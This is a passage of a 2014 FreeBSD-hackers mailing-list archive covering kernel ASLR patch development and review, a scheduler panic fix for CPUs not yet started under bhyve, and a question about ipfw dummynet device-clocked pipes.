bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 407F92F0D; Sat, 28 Jun 2014 15:22:14 +0000 (UTC) Received: by mail-qc0-f196.google.com with SMTP id c9so1852094qcz.7 for ; Sat, 28 Jun 2014 08:22:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=5jl4Fb8vSXLEYcC42vwb+qNrf/u8kurl2LCvjUGgoz8=; b=inwzX6JZ01j1vVakNaUm/jyEcGy2EbyHtBOSqm/sQmQ7Nf5Yj4tccdB6b6l04rSdgv iaUI88FMcDZ2UpvykSLB5WOCjyf6ZsVbwocVTqFws2b/6xu8voxM2hszb9DpQNQ5Guph KybroX4HDRPixRJRSThIMXOTVzyKLWF+sG5EyShUH46G/PV01ZAHb7nwrGtyQxf4RX7J uAyY6YpuvOmYEUPDRDH/5wO8ihb0C4ayZfjBHMinopIUbNRWPHs5IPzEhAT25cSd/oqT QrcJKM+Uk1z30YsrorGT4U9MxfQ7t/SptIkzNTCqHexSEy67L3tUUajeCkVZM6nRlhW9 qN0g== X-Received: by 10.224.120.193 with SMTP id e1mr2698290qar.42.1403968933406; Sat, 28 Jun 2014 08:22:13 -0700 (PDT) Received: from pwnie.vrt.sourcefire.com (moist.vrt.sourcefire.com. [198.148.79.134]) by mx.google.com with ESMTPSA id y4sm22166008qad.14.2014.06.28.08.22.12 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sat, 28 Jun 2014 08:22:12 -0700 (PDT) Date: Sat, 28 Jun 2014 11:22:10 -0400 From: Shawn Webb To: freebsd-stable@freebsd.org, freebsd-hackers@freebsd.org Subject: ASLR Patches For 10-STABLE Message-ID: <20140628152210.GA4365@pwnie.vrt.sourcefire.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="gBBFr7Ir9EOA20Yy" Content-Disposition: inline X-PGP-Key: http://pgp.mit.edu/pks/lookup?op=vindex&search=0x6A84658F52456EEE User-Agent: Mutt/1.5.23 (2014-03-12) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 28 Jun 2014 15:22:14 -0000 --gBBFr7Ir9EOA20Yy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hey All, You can find the new ASLR patch for 10-STABLE here: http://0xfeedface.org/~shawn/patches/2014-06-28_aslr_10-stable.patch Here's what's changed since our last our of patches on 24 May 2014: Shawn Webb: Sat Jun 28 09:57:19 2014 -0400: PAX ASLR: Move the mmap randomization to a better spot as suggested by Alan Cox Fri Jun 27 09:26:18 2014 -0400: PAX ASLR: Remove erroneous line of code Sat Jun 21 20:03:07 2014 -0400: PAX SEGVGUARD: Remove segvguard prior to putting in a separate feature branch Thu Jun 19 21:08:37 2014 -0400: PAX ASLR: More style(9) fixes Thu Jun 19 20:59:44 2014 -0400: PAX ASLR: Add PAX_SYSCTLS to sys/conf/NOTES Thu Jun 19 20:48:42 2014 -0400: PAX ASLR: Remove extra NO_PIE/MK_PIE entries that aren't now needed Wed Jun 11 22:07:51 2014 -0400: PAX ASLR: Rollback code cleanup that removed orig_addr from pax_aslr_mmap(). Wed Jun 11 17:54:12 2014 -0400: PAX ASLR: style(9) changes. Grammar fixes. Code cleanup. Fri May 30 18:36:49 2014 -0400: PAX ASLR: Pull in Oliver Pinter's change to add stack randomization Fri May 30 18:36:01 2014 -0400: Update copyright Oliver Pinter: Wed Jun 4 09:39:48 2014 +0200: PAX ASLR: added FEATURE(aslr, ...) to the kernel, and modify ugidfw to use them Wed May 28 00:27:06 2014 +0200: PAX: fix prison0 initialization after my jail modifications Sun May 25 21:20:23 2014 +0200: PAX: show pax settings in dmesg, and validate some value Sun May 25 19:48:44 2014 +0200: PAX ASLR: make security.pax.aslr sysctls optional Sun May 25 19:15:16 2014 +0200: PAX: check proc->p_ucred Sun May 25 19:11:50 2014 +0200: PAX: added PAX_SYSCTLS kernel option Sun May 25 19:10:16 2014 +0200: PAX ASLR: simplify jail handling Sun May 25 19:00:12 2014 +0200: PAX: hook in pax_init_prison at kern_jail_set Thanks, Shawn --gBBFr7Ir9EOA20Yy Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTrt2iAAoJEGqEZY9SRW7u9rMQALopVTMxnLSmIGI4P37h/04E 5XshZvgRieftIUo6YoyzTaPg5vQuZpwVufLvd8swXihhFXM8nXVaD9vgF0NDDw4O PxsAuKsMOhB1ZWxFrFzbUMZJf81LfeghiPq25AGjU+Wd7Z7fmB4GdQLSyENDUJZX QUB+MuS7FMGxETuy5DoTehfMNtP8h7vJyflrkYrW4rxdEfT5iIvGsirpPZa9fHCW tPxX9IsIXLH7rsRhHuXaSnvGHL2zeL2Zg/YVhEEhnmjQNeIUZE+hIpepta7uJ43b pab0M7FwFc+U0agf+ivMCjv3OJktK1ZJcO75EsF789rsdSiRXdGj7KM1fdp4Ynv2 O1IQhniYQkc8l9g7bFYVcb3sLmPxqWWn5AAYHdw5vcTnsTZ6doomApBRvofymoXu APNXtKwjzlYLRAzv0LQJV2z+IcqUmiTd2hDg0CYqVUXXqtfNQ9weBRgFDOeNLgCV d/REENZoMMq0xt6HdRPVEjLgiRfasydVOHta8S8TT0Ji6rcnkFbY3Ja6PpXN40np b07RJB0qh3q6Iugxt258/8duj5g+EnHc//0B/Ih1ZONTgVWZxn9lgg+M6f9Wws0l cYpUatkKMHvq+/B73o6hBWLwkJyymmbVeTUMYwd+8NSa85MMasXEbA/wcoPa3wZo RZbGEtj1LVC1U4PU2pJH =qPWI -----END PGP SIGNATURE----- --gBBFr7Ir9EOA20Yy-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 28 16:10:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E7969E63; Sat, 28 Jun 2014 16:09:59 +0000 (UTC) Received: from mail-qa0-x22f.google.com (mail-qa0-x22f.google.com [IPv6:2607:f8b0:400d:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8E41C2233; Sat, 28 Jun 2014 16:09:59 +0000 (UTC) Received: by mail-qa0-f47.google.com with SMTP id hw13so5097093qab.34 for ; Sat, 28 Jun 2014 09:09:58 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=Y72H81e1jIUJPvjhjkIsCD2fTunjKoJK+GjCHI80Iqs=; b=v5qO13pm6MHquoLOpHY+ujnHwl2NY0DJ765lRd0pTHzYNsdZ/VSXtr0F3cfDu6hd4B 6+gR1qYfJBndeN2vQfOv0lNWjoeWVEoOMkl1D74KWEl1jWYHPREicijbrg4PIAVECUc7 diUHwlskdpbluQ6/f8/Hd58551l7pIwgvdsC6VUWDHQbB2VZg7FPwddeV36hNlG13ZYa d1HWJ4zJW8lDYd3W2+X4llPEn/bKeEuCzfCMIp+T0r04UjmyyCWk3WHRVvI88uavlqK8 dyvmkTmSXby9GEi+zdnGt8/W3mJ605BqCSStVXt1eFgSr2iRql2eEDfpB2ktrV2wvUut 8JVg== X-Received: by 10.229.204.200 with SMTP id fn8mr43326120qcb.14.1403971798695; Sat, 28 Jun 2014 09:09:58 -0700 (PDT) Received: from pwnie.vrt.sourcefire.com (moist.vrt.sourcefire.com. [198.148.79.134]) by mx.google.com with ESMTPSA id g18sm17371886qaa.33.2014.06.28.09.09.57 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sat, 28 Jun 2014 09:09:58 -0700 (PDT) Date: Sat, 28 Jun 2014 12:09:56 -0400 From: Shawn Webb To: Alan Cox Subject: Re: Help With ASLR Message-ID: <20140628160956.GB4365@pwnie.vrt.sourcefire.com> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140627132810.GA8396@pwnie.vrt.sourcefire.com> <53AD976A.2000503@rice.edu> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="WhfpMioaduB5tiZL" Content-Disposition: inline In-Reply-To: <53AD976A.2000503@rice.edu> X-PGP-Key: http://pgp.mit.edu/pks/lookup?op=vindex&search=0x6A84658F52456EEE User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org, kib@freebsd.org, Oliver Pinter X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 28 Jun 2014 16:10:00 -0000 --WhfpMioaduB5tiZL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Jun 27, 2014 11:10 AM -0500, Alan Cox wrote: > On 06/27/2014 08:28, Shawn Webb wrote: > > On Jun 26, 2014 10:32 PM -0500, Alan Cox wrote: > >> On 06/26/2014 18:27, Shawn Webb wrote: > >>> Hey All, > >>> > >>> I've exchanged a few helpful emails with kib@. He has glanced over the > >>> ASLR patch we have against 11-CURRENT (which is also attached to this > >>> email as a reference point). He has suggested some changes to the VM > >>> subsystem that I'm having trouble getting my head wrapped around. > >>> > >>> Essentially, he suggests that instead of doing the randomization in > >>> various places like the ELF loader and sys_mmap, we should modify > >>> vm_map_find() in sys/vm/vm_map.c to apply the randomization there. > >>> > >>> Here's his suggestion in full (I hope he doesn't mind me directly > >>> quoting him): > >>> > >>> The mapping address randomization can only be performed in the > >>> vm_map_find(). This is the place where usermode mapping flags are > >>> already parsed, and the real decision for the placement is done, with > >>> all the contextual information collected, the fixed requests are not > >>> passed there. Doing the 'randomization' in vm_mmap() means that the > >>> mmap command must be parsed twice, which presented patch fails to do > >>> in any sane way. Only mappings in the usermode maps should be > >>> randomized. > >>> > >>> Current patch does not randomize the mapping location at all, it only > >>> randomizes the hint address passed from the userspace, which is > >>> completely useless. > >> > >> Kostik, I'm not sure that I understand what you're saying here. The > >> randomly generated offset is added to the variable "addr" after this > >> block of code has been executed: > >> > >> } else { > >> /* > >> * XXX for non-fixed mappings where no hint is > provided or > >> * the hint would fall in the potential heap space, > >> * place it after the end of the largest possible heap. > >> * > >> * There should really be a pmap call to determine a > >> reasonable > >> * location. > >> */ > >> PROC_LOCK(td->td_proc); > >> if (addr =3D=3D 0 || > >> (addr >=3D round_page((vm_offset_t)vms->vm_taddr) = && > >> addr < round_page((vm_offset_t)vms->vm_daddr + > >> lim_max(td->td_proc, RLIMIT_DATA)))) > >> addr =3D round_page((vm_offset_t)vms->vm_daddr= + > >> lim_max(td->td_proc, RLIMIT_DATA)); > >> PROC_UNLOCK(td->td_proc); > >> } > >> > >> So, the point at which the eventual call to vm_map_findspace() starts > >> looking for free space is determined by the randomization, and thus the > >> chosen address will be influenced by the randomization. The first > >> mmap() that I do in one execution of the program will be unlikely to > >> have the same address in the next execution. > >> > >> That said, I think that this block of code would be a better place for > >> the pax_aslr_mmap() call than were it currently resides. Moving it he= re > >> would address the problem with MAP_32BIT mentioned below. > >> > >> > >>> ... It also fails to correct the address to honour > >>> the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. > >> > >> > >> I think that MAP_32BIT is broken, but not MAP_ALIGNMENT_MASK. Whatever > >> address the patch causes to be passed into vm_map_find(), we will round > >> it up as necessary to achieve the requested alignment. > >> > >> In some sense, the real effect of the map alignment directives, > >> including automatic alignment for superpages, is going to be to chop o= ff > >> address bits that Shawn has worked to randomize. More on this below. > >> See [*]. > >> > >>> ... What must > >>> be done is vm_map_find() requesting vm_map_findspace() for the address > >>> hole of the size of the requested mapping + (number of address bits to > >>> randomize << PAGE_SHIFT). Then, the rng value should be obtained and > >>> final location for the mapping calculated as return value + (rng << > >>> PAGE_SHIFT). > >> > >> > >> This seems to be trying to implement a different and more complex sche= me > >> than what Shawn is trying to implement. Specifically, suppose that we > >> have a program that creates 5 mappings with mmap(2). Call them M1, M2, > >> M3, M4, and M5, respectively. Shawn is perfectly happy for M1 to alwa= ys > >> come before M2 in the address space, M2 to always come before M3, and = so > >> on. He's not trying to permute their order in the address space from > >> one execution of the program to the next. He's only trying to change > >> their addresses from one execution to the next. The impression that I > >> got during the BSDCan presentation was that this is what other operati= ng > >> systems were doing, and it was considered strike a reasonable balance > >> between run-time overhead and the security benefits. > >> > >> > >>> > >>> If no address space hole exists which can satisfy the enlarged > >>> request, either a direct fallback to the initial length should be > >>> performed (I prefer this), or exponential decrease of the length up to > >>> the initial size done, and findspace procedure repeated. > >>> > >>> Also, the vm_map_find() knows about the superpages hint for the > >>> mapping being performed, which allows to not break superpages. When > >>> superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available > >>> from pagesizes[1]) should be used instead of PAGE_SHIFT in the formula > >>> above, and probably, a different amount of address bits in the page > >>> table page level 2 to randomize, selected. > >> > >> > >> [*] I agree with this last observation. I mentioned this possibility > >> to Shawn after his talk. On machines where pagesizes[1] is defined, > >> i.e., non-zero, it makes little sense to randomize the low-order addre= ss > >> bits that will be "rounded away" by aligning to pagesizes[1] boundary. > >> > >> > >>> > >>> =3D=3D=3D end of kib@ suggestions =3D=3D=3D > >>> > >>> I have a few concerns, though: > >>> > >>> 1) vm_map_find is also used when loading certain bits of data in the > >>> kernel (like KLDs, for example); > >>> 2) It's not possible to tell in vm_map_find if we're creating a mappi= ng > >>> for the stack, the execbase, or any other suitable mmap call. We apply > >>> ASLR differently based on those three aspects; > >>> 3) vm_map_find is also used in initializing the VM system upon boot. > >>> What impacts would this cause? > >>> > >>> I would really appreciate any feedback. Thank you in advance for any > >>> help or guidance. > >> > >> Shawn, while I'm here, I'll mention that what you were doing with stac= ks > >> in pax_aslr_mmap() seemed odd. Can you explain? > >>=20 > >> > > > > Thank you for your input, Alan. From what it sounds like, you're > > suggesting we don't implement the ASLR functionality in vm_map_find() > > and we stick with what we have. Please correct me if I'm wrong. >=20 >=20 > Yes. I interpreted Kostik's email as implicitly proposing a different > specification for how mmap()-created mappings should be handled than you > started from. In other words, if you're not trying to permute the order > in which mappings appear in the address space from execution to > execution, but only shift the entire group of mappings around a bit, > then you don't need to modify vm_map_find(). You can stick with > changing sys_mmap(). >=20 > That said, I'm inferring how you intended mmap()-created mappings to be > handled from looking at the code and statements that you made during > your presentation. Are my two emails correctly describing what you > intended to do with mmap()-created mappings? >=20 > I do, however, think that you're calling pax_aslr_mmap() at an > inopportune point in sys_mmap(). Hopefully, that was clear in my > previous email. >=20 >=20 > > > > Did our changes break MAP_32BIT or was MAP_32BIT broken all along? If > > our ASLR patch breaks it, what would be the best way to fix it? >=20 >=20 > I suspect but I'm not certain that your patch breaks calls to > mmap(MAP_32BIT). But, if you move the call to pax_aslr_mmap() to the > place that I mentioned before, then pax_alsr_mmap() simply won't be > called when MAP_32BIT or MAP_FIXED are passed to mmap(). >=20 >=20 > > > > I'm' a little unsure of your question regarding stacks in > > pax_aslr_mmap(). I don't believe we're doing anything with stacks in > > that function. We do have the function pax_aslr_stack(), but we're > > working on providing a more robust stack randomization (which isn't in > > the patchset I provided). >=20 > mmap(MAP_STACK) is used to create thread stacks. The following code > didn't make sense to me: >=20 > + if (!(td->td_proc->p_vmspace->vm_map.flags & > MAP_ENTRY_GROWS_DOWN)) > + *addr +=3D td->td_proc->p_vmspace->vm_aslr_delta_= mmap; > + else > + *addr -=3D td->td_proc->p_vmspace->vm_aslr_delta_= mmap; >=20 > MAP_ENTRY_GROWS_DOWN is not a valid vm map flag. Moreover, the > subtraction case doesn't make sense to me. >=20 >=20 >=20 I made the change you suggested, which did indeed fix MAP_32BIT. However, ASLR isn't applied to mappings when MAP_32BIT is specified. I'll cook up a better fix so that we can apply ASLR in this case, too. Thanks for the suggestion. I've removed the MAP_ENTRY_GROWS_DOWN conditional. As you (and another person told me off-list), that conditional is useless. We're working on a better way to handle stack randomization. Thanks for the help. Once we have stack randomization finished, I'll send another CFT patch and have a few specific people look at it. Thanks, Shawn --WhfpMioaduB5tiZL Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTrujTAAoJEGqEZY9SRW7urO0P/jdlR4gMOL+jheh3B284M6e+ KoVJMnySfuEodUZUAxGvN+rS7m3WfFj3/C1Y5hN1HWYHBcofdlT0Dae8MhHPJeCK W+qtV8T5c4PJ0IEPTzSWFn5U/JQo+IZ9ste03qdSXwgbCM+oCHbaU91EDBZIY8Kx ITaX/3tQ+58Xw22z9wT9KOj/6+p1pS0SeBOd7rXkM2DDA+qR1Y6/XnCKB5TKK2BS qhu8E8K1wn7+mFuIuAWVb3SXeX/Jmyh2zmKBjO+AG18p6olmI85LSxdK13fEczaN x9jTN7vEExWPFo1UJDFW0/zJ25UZg6Oy0TKbv5czEteMmoCx4uICGFwP8a99aIKx 89pdBva0A2tRZJgzcIJU4ujjXbtO27HmSMY0gfsmqkT+OfJAb0sPIPyRbRyD1KfY kbgp8FGbHOIoIMFwVPpiVRWrlYkwFEPSevWEANNyxEyxKXR9RkVk4EkWRPgAPra7 ylIQEdluZOkaL8/AXOqlm6xGS37Slj8ol712risP0xBu69H8KVaP9lW4Ifbr3yDG OAnE9GwLsen7cBnr2mjSO6LngNjssmoZKFRFgw7FML6Hpf8C/Qupr6XDUWwxO++k FeIGWYU/Cypc1x77q27TYl5dwN+a2MGeiRKzz/e9jd5noiBi9Eh2g9bfpx/9Ryra mPEgzHjcEAL9n4Uhy3L1 =HKQ9 -----END PGP SIGNATURE----- --WhfpMioaduB5tiZL-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 09:29:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4FB7F915 for ; Sun, 29 Jun 2014 09:29:34 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0DD5628D1 for ; Sun, 29 Jun 2014 09:29:32 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s5T9PrBL035430 for ; Sun, 29 Jun 2014 03:25:53 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201406290925.s5T9PrBL035430@elf.torek.net> From: Chris Torek To: freebsd-hackers@freebsd.org Subject: sched_ule vs un-spun-up AP MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <35428.1404033953.1@elf.torek.net> Date: Sun, 29 Jun 2014 03:25:53 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Sun, 29 Jun 2014 03:25:53 -0600 (MDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 09:29:34 -0000 This patch is possibly a bit of unnecessary fluff, but it fixes a panic we see with some rather odd code (said odd code needs to be redone) that tries to bind a thread to a CPU during startup. On real hardware, the APs are up by this point and have idle threads. In a bhyve emulation, however, the APs spin up much later, relatively speaking, so that when we reach the tdq_notify() code in sched_ule.c, the target CPU on which the bound thread is supposed to run is not up yet. pcpu_find(cpu) works fine but its pc_curthread is NULL. The test to see if the new thread should run instead, causes this: Fatal trap 12: page fault while in kernel mode cpuid = 0; apic id = 00 fault virtual address = 0x356 fault code = supervisor read data, page not present instruction pointer = 0x20:0xffffffff805aaaf2 stack pointer = 0x28:0xfffff800002a98c0 frame pointer = 0x28:0xfffff800002a98f0 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, long 1, def32 0, gran 1 processor eflags = resume, IOPL = 0 current process = 3 (evil-bound-thread) [ thread pid 3 tid 100022 ] Stopped at tdq_notify+0x32: movb 0x356(%rax),%cl db> A one-line patch works around it. A better fix would probably be to make sure the APs are up and running earlier, but I stuck the below in so that our guys could make progress on their code while we try to fix this other sort-of-evil early bound thread. Chris sched_ule: in tdq_notify, handle un-spun-up CPU If a thread tries to bind to a CPU that is present on an SMP system, but has yet to spin up, don't try to look at the thread priority on that CPU, as there is no thread (not even the idle thread) running. diff --git a/sys/kern/sched_ule.c b/sys/kern/sched_ule.c --- a/sys/kern/sched_ule.c +++ b/sys/kern/sched_ule.c @@ -1004,7 +1004,12 @@ tdq_notify(struct tdq *tdq, struct threa cpu = td->td_sched->ts_cpu; pri = td->td_priority; ctd = pcpu_find(cpu)->pc_curthread; - if (!sched_shouldpreempt(pri, ctd->td_priority, 1)) + /* + * Note: ctd==NULL occurs only when binding to a cpu + * that has not yet finished coming up (so it has no + * idle thread). + */ + if (ctd == NULL || !sched_shouldpreempt(pri, ctd->td_priority, 1)) return; if (TD_IS_IDLETHREAD(ctd)) { /* From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 14:29:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A9E75C28 for ; Sun, 29 Jun 2014 14:29:44 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2C59F2D45 for ; Sun, 29 Jun 2014 14:29:43 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s5TEGrcV088666 for ; Sun, 29 Jun 2014 16:16:53 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7/Submit) with ESMTP id s5TEGrqJ088663 for ; Sun, 29 Jun 2014 16:16:53 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sun, 29 Jun 2014 16:16:53 +0200 (CEST) From: Wojciech Puchar To: freebsd-hackers@freebsd.org Subject: ipfw pipe config bw tun0 Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Sun, 29 Jun 2014 16:16:53 +0200 (CEST) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 14:29:44 -0000 i tried to use ipfw dummynet as described in manual --- If a device name is specified instead of a numeric value, as in ipfw pipe 1 config bw tun0 then the transmit clock is supplied by the specified device. At the moment only the tun(4) device supports this functionality, for use in conjunction with ppp(8). ---- got "no if support" error message. what i missed? From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 14:52:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4CCC8146 for ; Sun, 29 Jun 2014 14:52:56 +0000 (UTC) Received: from mail-lb0-x231.google.com (mail-lb0-x231.google.com [IPv6:2a00:1450:4010:c04::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C7B072F1E for ; Sun, 29 Jun 2014 14:52:55 +0000 (UTC) Received: by mail-lb0-f177.google.com with SMTP id u10so5135549lbd.22 for ; Sun, 29 Jun 2014 07:52:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=0+/vxOy+GqhDQRTPLcUqOev7NNnm5MnYqn5sKAG789w=; b=Rk8phyEMVZ2MCjJ72iFFTLQlonyIuOZjG4b00cyuNWqCuYJ2vIU/tF5fm7EGuZegYy JifdANLMGAgPEjMkum+NHTTstrZ6+3/lhwMfdePK0bX5N9HVFMn+255pIf3GqzHssije 83G9wgT5ChXMc0X7r6MXB3sMXsBf4ffYmytazl7LYh6PRjfzWvR9hkCUSNt7+C9/2Tvf Ngba3UkIG26NMI3Xz2chcTGWk5UPzMQeZYE0yIwhvijSvHq/dYk6ZTLvi6Xuju2HpnTt Btr3cPWLE1YvO+I77+utXpvqeGvzgyyee2XTq8+YLETxyFmC0N/ukk+oqOpzmca1CDcJ 4InA== MIME-Version: 1.0 X-Received: by 10.112.155.230 with SMTP id vz6mr1258444lbb.73.1404053573479; Sun, 29 Jun 2014 07:52:53 -0700 (PDT) Sender: rizzo.unipi@gmail.com Received: by 10.114.22.100 with HTTP; Sun, 29 Jun 2014 07:52:53 -0700 (PDT) In-Reply-To: References: Date: Sun, 29 Jun 2014 16:52:53 +0200 X-Google-Sender-Auth: Wszc_O_uCCvZI_SYniZfK8cQ4xg Message-ID: Subject: Re: ipfw pipe config bw tun0 From: Luigi Rizzo To: Wojciech Puchar Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 14:52:56 -0000 On Sun, Jun 29, 2014 at 4:16 PM, Wojciech Puchar < wojtek@wojtek.tensor.gdynia.pl> wrote: > i tried to use ipfw dummynet as described in manual > > --- > If a device name is specified instead of a numeric value, as in > > ipfw pipe 1 config bw tun0 > > then the transmit clock is supplied by the specified device. > At > the moment only the tun(4) device supports this functionalit= y, > for use in conjunction with ppp(8). > > ---- > > > got "no if support" error message. what i missed? > you missed =E2=80=8Bnothing -- it's just that no device that i know of still implements the feature. i implemented it 15 years ago and enabled it on the 'ed' device driver only. What it needed is a notification on the transmit interrupt to kick the pipe and tell it how many packets went out (at the time 'ed' only supported one packet at a time, so the code might make assumptions).=E2=80=8B It might need a bit of redesign these days to make it work efficiently with fast pipes and deep interface queues. cheers luigi From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 16:16:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A8AE79DC for ; Sun, 29 Jun 2014 16:16:02 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 81B382543 for ; Sun, 29 Jun 2014 16:16:02 +0000 (UTC) Received: from [192.168.1.2] (senat1-01.HML3.ScaleEngine.net [209.51.186.5]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 4CA67185E6 for ; Sun, 29 Jun 2014 16:15:55 +0000 (UTC) Message-ID: <53B03BDE.8020302@freebsd.org> Date: Sun, 29 Jun 2014 12:16:30 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: ipfw pipe config bw tun0 References: In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="GXnG9lkTHtJ5QVkdNQtLPQe3Mr9iakJeC" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 16:16:02 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) 